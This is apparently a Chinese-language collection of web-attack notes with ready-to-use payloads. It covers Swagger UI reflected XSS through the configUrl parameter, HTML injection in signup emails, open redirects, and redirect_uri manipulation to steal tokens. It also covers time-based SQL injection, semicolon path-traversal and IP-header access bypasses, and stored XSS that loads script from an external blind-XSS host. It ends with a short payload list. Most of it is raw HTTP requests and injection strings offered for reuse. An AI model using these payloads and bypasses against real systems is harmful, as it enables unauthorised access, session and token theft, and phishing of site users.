Swagger UI反射XSS
Swagger UI是目前最流行的RestFul接口API文档和测试工具。
首先写一个 json的 XSS 负载
https://gist.githubusercontent.com/ramkrivas/c47c4a49bea5f3ff99a9e6229298a6ba/raw/e2e610ea302541a37604c7df8bcaebdcb109b3ba/xsstest.json
回到Swagger UI,添加查询参数“configUrl”并传递上面的代码片段 url
https://test/swagger/indext.html?configUrl=https://gist.githubusercontent.com/ramkrivas/c47c4a49bea5f3ff99a9e6229298a6ba/raw/e2e610ea302541a37604c7df8bcaebdcb109b3ba/xsstest.json
其他类似功能的接口也能测试
发送电子邮件的HTML注入
在大多数网站上,成功注册后,应用程序会触发一封欢迎电子邮件给用户,我们可以拦截包来将HTML注入嵌入到电子邮件中
POST /dbconnections/signup HTTP/2
Host: test
Content-Type: application/json
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Origin: https://auth.yourdomain.com
Content-Length: 628
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15
{"email":"hacker123@gmail.com",
"password":"hackers@123*",
"user_metadata":{"given_name":"<s>John${{4*4}}","family_name":"Doe",
"locale_code":"\"><s><h1>HEHEHAHAHA</h1><br>\"><a href=//google.com>",
"LocaleId":"1"}}
通常 UI 不允许用户输入特殊字符来命名输入。所以,这里发送表单请求被捕获,并将 locale_code 参数更改为
XSS \”><s><h1>your my loved victim HEHEHEHA</h1><br>\”><a href=//google.com >
此漏洞的影响可能很大,攻击者会利用用户将他们重定向到欺诈站点(网络钓鱼等)
开放重定向攻击
开放重定向攻击(Open Redirect Attack)是一种网络攻击,利用存在于 Web 应用程序中的漏洞来将用户重定向到恶意的站点。开放重定向攻击通常是通过修改 Web 应用程序中的跳转 URL 参数来实现的,攻击者可以将跳转地址指向恶意站点,从而欺骗用户进入恶意站点,造成信息泄露、钓鱼等安全问题。
假设有一个网站www.example.com,它有一个登录页面login.php,在登录成功后,用户将被重定向到一个名为redirect.php的页面。
攻击者可以构造一个恶意链接,其中包含一个可以操纵的重定向URL参数。例如,攻击者可以使用以下URL:
https://www.example.com/login.php?redirect=https://www.evil.com
当用户单击此链接时,他们将被带到login.php页面,然后被重定向到https://www.evil.com,这可能是一个钓鱼网站或一个安装恶意软件的网站。
攻击者可能会利用此攻击,让用户泄露敏感信息,如登录凭据或其他机密信息
还可以盗取cookie
比如说,有些web网站会在用户登录后,用户会重定向到特定 url 以进行令牌交换
https://test/openid-connect/auth?
client_id=authorization_code_flow
&redirect_uri=http://test.net
&state=00350ec61-f32b-4ffa-9892-711521ddf152b
&response_mode=fragment
&response_type=code&scope=openid&nonce=60824a30-489-4819-9af-db8284fcd029
攻击者可以将redirect_uri参数替换成受害者的参数
对应用程序表SQL注入攻击
攻击者可以使用 SQL 注入绕过 Web 应用程序的身份验证和授权机制并检索整个数据库的内容
GET : / test / admin.php?action = get - achievements & total_only = true
& user_id = 11 % 20 AND % 20 ( SELECT % 209628 % 20 FROM % 20 ( SELECT (SLEEP( 15 )))WOrh) --%20KUsb
HTTP / 2
在上面的 url 中,攻击者用SQL sleep命令替换了user_id参数,如果攻击成功,那么上述 GET 端点的响应需要 15 秒
对管理目录的路径遍历攻击
假如一个网站的后台url是这样的
https://test/auth/admin/master/console/config
如果没有登录就访问,多半是403,我们可以在/admin之后添加分号 ;
https://test/auth/admin;/master/console/config
如果能访问,就说明这个url容易受到路径遍历攻击
也可以配合burp来绕过
X-Custom-IP-Authorization: 127.0.0.1
https://portswigger.net/burp/documentation/desktop/tutorials/using-match-and-replace
POST请求存储型XSS
在下面的示例中,我们向用户身份验证的API发出 POST 请求,并使用 XSS 存储用户信息
POST /api/Authentication/AuthenticateUser HTTP/2
Host: test
Content-Type: application/json; charset=utf-8
Cookie: ASP.NET_SessionId=25jqpkfplyfwwgkt5hxqhjtu; Guid=bc5308-e597-4145-a62b-81523236f9dd
Content-Length: 263
{
"UserName":"username",
"P assword":"password",
"Device":"PC'\"><script src=https://ls.bxss.in/>.techlabcorp.local"
}
下次用户登录应用程序时,XSS就会在应用程序中执行
一些payload
xss:
"><img src=x onerror=alert(1)>
sql:
)if(1=1,sleep(10),0)(/*')XOR(if(1=1,sleep(10),0))OR('")XOR(if(1=1,sleep(10),0))OR("*/
持续总结中